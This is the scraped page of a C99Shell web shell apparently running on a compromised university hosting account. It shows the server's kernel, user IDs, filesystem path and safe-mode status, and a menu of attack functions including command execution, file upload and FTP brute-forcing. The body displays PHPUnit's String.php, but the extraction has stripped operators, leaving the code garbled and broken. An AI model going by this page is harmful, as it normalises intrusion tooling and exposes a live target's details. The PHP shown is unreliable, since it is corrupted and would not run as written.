!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/phpunit/phpunit/src/Util/   drwxr-xr-x
Free 116.97 GB of 200.55 GB (58.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     String.php (1.62 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * This file is part of PHPUnit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * String helpers.
 *
 * @since Class available since Release 3.6.0
 */
class PHPUnit_Util_String
{
    
/**
     * Converts a string to UTF-8 encoding.
     *
     * @param string $string
     *
     * @return string
     */
    
public static function convertToUtf8($string)
    {
        if (!
self::isUtf8($string)) {
            if (
function_exists('mb_convert_encoding')) {
                
$string mb_convert_encoding($string'UTF-8');
            } else {
                
$string utf8_encode($string);
            }
        }

        return 
$string;
    }

    
/**
     * Checks a string for UTF-8 encoding.
     *
     * @param string $string
     *
     * @return bool
     */
    
protected static function isUtf8($string)
    {
        
$length strlen($string);

        for (
$i 0$i $length$i++) {
            if (
ord($string[$i]) < 0x80) {
                
$n 0;
            } elseif ((
ord($string[$i]) & 0xE0) == 0xC0) {
                
$n 1;
            } elseif ((
ord($string[$i]) & 0xF0) == 0xE0) {
                
$n 2;
            } elseif ((
ord($string[$i]) & 0xF0) == 0xF0) {
                
$n 3;
            } else {
                return 
false;
            }

            for (
$j 0$j $n$j++) {
                if ((++
$i == $length) || ((ord($string[$i]) & 0xC0) != 0x80)) {
                    return 
false;
                }
            }
        }

        return 
true;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0337 ]--